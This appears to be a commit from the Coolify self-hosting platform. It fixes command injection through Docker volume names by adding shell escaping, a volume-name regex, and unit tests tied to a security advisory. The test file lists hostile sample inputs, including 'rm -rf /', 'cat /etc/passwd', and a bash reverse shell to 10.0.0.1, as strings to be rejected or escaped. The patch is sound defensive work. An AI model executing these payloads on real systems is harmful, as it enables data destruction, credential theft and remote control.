An open-source, self-hostable PaaS alternative to Vercel, Heroku & Netlify that lets you easily deploy static sites, databases, full-stack applications and 360+ one-click services on your own servers.
PHP coolifydatabasesdeploymentdockerdocker-composeinertiajslaravelmariadbmysqlnextjsnodejsphppostgresredisself-hostedself-hostingserverstatic-sitesveltesvelte5
fix(storage): use escapeshellarg for volume names in shell commands
Andras Bacsaid2064dd49986
diff --git a/app/Actions/Service/DeleteService.php b/app/Actions/Service/DeleteService.phpindex 8790901cd2..460600d699 100644--- a/app/Actions/Service/DeleteService.php+++ b/app/Actions/Service/DeleteService.php@@ -33,7 +33,7 @@ class DeleteService}}foreach ($storagesToDelete as $storage) {- $commands[] = "docker volume rm -f $storage->name";+ $commands[] = 'docker volume rm -f '.escapeshellarg($storage->name);}// Execute volume deletion first, this must be done first otherwise volumes will not be deleted.diff --git a/app/Livewire/Project/Service/Storage.php b/app/Livewire/Project/Service/Storage.phpindex e896f060a3..433c2b13c8 100644--- a/app/Livewire/Project/Service/Storage.php+++ b/app/Livewire/Project/Service/Storage.php@@ -5,6 +5,7 @@ namespace App\Livewire\Project\Service;use App\Models\Application;use App\Models\LocalFileVolume;use App\Models\LocalPersistentVolume;+use App\Support\ValidationPatterns;use Illuminate\Foundation\Auth\Access\AuthorizesRequests;use Livewire\Component;@@ -103,10 +104,10 @@ class Storage extends Component$this->authorize('update', $this->resource);$this->validate([- 'name' => 'required|string',+ 'name' => ValidationPatterns::volumeNameRules(),'mount_path' => 'required|string','host_path' => $this->isSwarm ? 'required|string' : 'string|nullable',- ]);+ ], ValidationPatterns::volumeNameMessages());$name = $this->resource->uuid.'-'.$this->name;diff --git a/app/Models/Application.php b/app/Models/Application.phpindex 4cc2dcf749..c446052b37 100644--- a/app/Models/Application.php+++ b/app/Models/Application.php@@ -390,7 +390,7 @@ class Application extends BaseModel}$server = data_get($this, 'destination.server');foreach ($persistentStorages as $storage) {- instant_remote_process(["docker volume rm -f $storage->name"], $server, false);+ instant_remote_process(['docker volume rm -f '.escapeshellarg($storage->name)], $server, false);}}}diff --git a/app/Models/ApplicationPreview.php b/app/Models/ApplicationPreview.phpindex 3b7bf3030d..b8a8a5a85b 100644--- a/app/Models/ApplicationPreview.php+++ b/app/Models/ApplicationPreview.php@@ -37,7 +37,7 @@ class ApplicationPreview extends BaseModel$persistentStorages = $preview->persistentStorages()->get() ?? collect();if ($persistentStorages->count() > 0) {foreach ($persistentStorages as $storage) {- instant_remote_process(["docker volume rm -f $storage->name"], $server, false);+ instant_remote_process(['docker volume rm -f '.escapeshellarg($storage->name)], $server, false);}}}diff --git a/app/Models/StandaloneClickhouse.php b/app/Models/StandaloneClickhouse.phpindex 33f32dd59d..143aadb6a4 100644--- a/app/Models/StandaloneClickhouse.php+++ b/app/Models/StandaloneClickhouse.php@@ -135,7 +135,7 @@ class StandaloneClickhouse extends BaseModel}$server = data_get($this, 'destination.server');foreach ($persistentStorages as $storage) {- instant_remote_process(["docker volume rm -f $storage->name"], $server, false);+ instant_remote_process(['docker volume rm -f '.escapeshellarg($storage->name)], $server, false);}}diff --git a/app/Models/StandaloneDragonfly.php b/app/Models/StandaloneDragonfly.phpindex 074c5b509d..c823c305b8 100644--- a/app/Models/StandaloneDragonfly.php+++ b/app/Models/StandaloneDragonfly.php@@ -135,7 +135,7 @@ class StandaloneDragonfly extends BaseModel}$server = data_get($this, 'destination.server');foreach ($persistentStorages as $storage) {- instant_remote_process(["docker volume rm -f $storage->name"], $server, false);+ instant_remote_process(['docker volume rm -f '.escapeshellarg($storage->name)], $server, false);}}diff --git a/app/Models/StandaloneKeydb.php b/app/Models/StandaloneKeydb.phpindex 23b4c65e61..f286e8538a 100644--- a/app/Models/StandaloneKeydb.php+++ b/app/Models/StandaloneKeydb.php@@ -135,7 +135,7 @@ class StandaloneKeydb extends BaseModel}$server = data_get($this, 'destination.server');foreach ($persistentStorages as $storage) {- instant_remote_process(["docker volume rm -f $storage->name"], $server, false);+ instant_remote_process(['docker volume rm -f '.escapeshellarg($storage->name)], $server, false);}}diff --git a/app/Models/StandaloneMariadb.php b/app/Models/StandaloneMariadb.phpindex 4d4b847765..efa62353c8 100644--- a/app/Models/StandaloneMariadb.php+++ b/app/Models/StandaloneMariadb.php@@ -136,7 +136,7 @@ class StandaloneMariadb extends BaseModel}$server = data_get($this, 'destination.server');foreach ($persistentStorages as $storage) {- instant_remote_process(["docker volume rm -f $storage->name"], $server, false);+ instant_remote_process(['docker volume rm -f '.escapeshellarg($storage->name)], $server, false);}}diff --git a/app/Models/StandaloneMongodb.php b/app/Models/StandaloneMongodb.phpindex b5401dd2c3..9418ebc21d 100644--- a/app/Models/StandaloneMongodb.php+++ b/app/Models/StandaloneMongodb.php@@ -141,7 +141,7 @@ class StandaloneMongodb extends BaseModel}$server = data_get($this, 'destination.server');foreach ($persistentStorages as $storage) {- instant_remote_process(["docker volume rm -f $storage->name"], $server, false);+ instant_remote_process(['docker volume rm -f '.escapeshellarg($storage->name)], $server, false);}}diff --git a/app/Models/StandaloneMysql.php b/app/Models/StandaloneMysql.phpindex 0b144575cd..2b7e9f2b6a 100644--- a/app/Models/StandaloneMysql.php+++ b/app/Models/StandaloneMysql.php@@ -136,7 +136,7 @@ class StandaloneMysql extends BaseModel}$server = data_get($this, 'destination.server');foreach ($persistentStorages as $storage) {- instant_remote_process(["docker volume rm -f $storage->name"], $server, false);+ instant_remote_process(['docker volume rm -f '.escapeshellarg($storage->name)], $server, false);}}diff --git a/app/Models/StandalonePostgresql.php b/app/Models/StandalonePostgresql.phpindex 92b2efd31d..cea6002368 100644--- a/app/Models/StandalonePostgresql.php+++ b/app/Models/StandalonePostgresql.php@@ -114,7 +114,7 @@ class StandalonePostgresql extends BaseModel}$server = data_get($this, 'destination.server');foreach ($persistentStorages as $storage) {- instant_remote_process(["docker volume rm -f $storage->name"], $server, false);+ instant_remote_process(['docker volume rm -f '.escapeshellarg($storage->name)], $server, false);}}diff --git a/app/Models/StandaloneRedis.php b/app/Models/StandaloneRedis.phpindex 352d27cfdc..0e904ab316 100644--- a/app/Models/StandaloneRedis.php+++ b/app/Models/StandaloneRedis.php@@ -140,7 +140,7 @@ class StandaloneRedis extends BaseModel}$server = data_get($this, 'destination.server');foreach ($persistentStorages as $storage) {- instant_remote_process(["docker volume rm -f $storage->name"], $server, false);+ instant_remote_process(['docker volume rm -f '.escapeshellarg($storage->name)], $server, false);}}diff --git a/app/Support/ValidationPatterns.php b/app/Support/ValidationPatterns.phpindex 27789b5068..7084b4cc2f 100644--- a/app/Support/ValidationPatterns.php+++ b/app/Support/ValidationPatterns.php@@ -45,6 +45,13 @@ class ValidationPatterns*/public const SHELL_SAFE_COMMAND_PATTERN = '/^[a-zA-Z0-9 \t._\-\/=:@,+\[\]{}#%^~&"]+$/';+ /**+ * Pattern for Docker volume names+ * Must start with alphanumeric, followed by alphanumeric, dots, hyphens, or underscores+ * Matches Docker's volume naming rules+ */+ public const VOLUME_NAME_PATTERN = '/^[a-zA-Z0-9][a-zA-Z0-9._-]*$/';+/*** Pattern for Docker container names* Must start with alphanumeric, followed by alphanumeric, dots, hyphens, or underscores@@ -157,6 +164,36 @@ class ValidationPatternsreturn ['nullable', 'string', 'max:'.$maxLength, 'regex:'.self::SHELL_SAFE_COMMAND_PATTERN];}+ /**+ * Get validation rules for Docker volume name fields+ */+ public static function volumeNameRules(bool $required = true, int $maxLength = 255): array+ {+ $rules = [];++ if ($required) {+ $rules[] = 'required';+ } else {+ $rules[] = 'nullable';+ }++ $rules[] = 'string';+ $rules[] = "max:$maxLength";+ $rules[] = 'regex:'.self::VOLUME_NAME_PATTERN;++ return $rules;+ }++ /**+ * Get validation messages for volume name fields+ */+ public static function volumeNameMessages(string $field = 'name'): array+ {+ return [+ "{$field}.regex" => 'The volume name must start with an alphanumeric character and contain only alphanumeric characters, dots, hyphens, and underscores.',+ ];+ }+/*** Get validation rules for container name fields*/diff --git a/tests/Unit/PersistentVolumeSecurityTest.php b/tests/Unit/PersistentVolumeSecurityTest.phpnew file mode 100644index 0000000000..fdce223d31--- /dev/null+++ b/tests/Unit/PersistentVolumeSecurityTest.php@@ -0,0 +1,98 @@+<?php++/**+ * Persistent Volume Security Tests+ *+ * Tests to ensure persistent volume names are validated against command injection+ * and that shell commands properly escape volume names.+ *+ * Related Advisory: GHSA-mh8x-fppq-cp77+ * Related Files:+ * - app/Models/LocalPersistentVolume.php+ * - app/Support/ValidationPatterns.php+ * - app/Livewire/Project/Service/Storage.php+ * - app/Actions/Service/DeleteService.php+ */++use App\Support\ValidationPatterns;++// --- Volume Name Pattern Tests ---++it('accepts valid Docker volume names', function (string $name) {+ expect(preg_match(ValidationPatterns::VOLUME_NAME_PATTERN, $name))->toBe(1);+})->with([+ 'simple name' => 'myvolume',+ 'with hyphens' => 'my-volume',+ 'with underscores' => 'my_volume',+ 'with dots' => 'my.volume',+ 'with uuid prefix' => 'abc123-postgres-data',+ 'numeric start' => '1volume',+ 'complex name' => 'app123-my_service.data-v2',+]);++it('rejects volume names with shell metacharacters', function (string $name) {+ expect(preg_match(ValidationPatterns::VOLUME_NAME_PATTERN, $name))->toBe(0);+})->with([+ 'semicolon injection' => 'vol; rm -rf /',+ 'pipe injection' => 'vol | cat /etc/passwd',+ 'ampersand injection' => 'vol && whoami',+ 'backtick injection' => 'vol`id`',+ 'dollar command substitution' => 'vol$(whoami)',+ 'redirect injection' => 'vol > /tmp/evil',+ 'space in name' => 'my volume',+ 'slash in name' => 'my/volume',+ 'newline injection' => "vol\nwhoami",+ 'starts with hyphen' => '-volume',+ 'starts with dot' => '.volume',+]);++// --- escapeshellarg Defense Tests ---++it('escapeshellarg neutralizes injection in docker volume rm command', function (string $maliciousName) {+ $command = 'docker volume rm -f '.escapeshellarg($maliciousName);++ // The command should contain the name as a single quoted argument,+ // preventing shell interpretation of metacharacters+ expect($command)->not->toContain('; ')+ ->not->toContain('| ')+ ->not->toContain('&& ')+ ->not->toContain('`')+ ->toStartWith('docker volume rm -f ');+})->with([+ 'semicolon' => 'vol; rm -rf /',+ 'pipe' => 'vol | cat /etc/passwd',+ 'ampersand' => 'vol && whoami',+ 'backtick' => 'vol`id`',+ 'command substitution' => 'vol$(whoami)',+ 'reverse shell' => 'vol$(bash -i >& /dev/tcp/10.0.0.1/8888 0>&1)',+]);++// --- volumeNameRules Tests ---++it('generates volumeNameRules with correct defaults', function () {+ $rules = ValidationPatterns::volumeNameRules();++ expect($rules)->toContain('required')+ ->toContain('string')+ ->toContain('max:255')+ ->toContain('regex:'.ValidationPatterns::VOLUME_NAME_PATTERN);+});++it('generates nullable volumeNameRules when not required', function () {+ $rules = ValidationPatterns::volumeNameRules(required: false);++ expect($rules)->toContain('nullable')+ ->not->toContain('required');+});++it('generates correct volumeNameMessages', function () {+ $messages = ValidationPatterns::volumeNameMessages();++ expect($messages)->toHaveKey('name.regex');+});++it('generates volumeNameMessages with custom field name', function () {+ $messages = ValidationPatterns::volumeNameMessages('volume_name');++ expect($messages)->toHaveKey('volume_name.regex');+});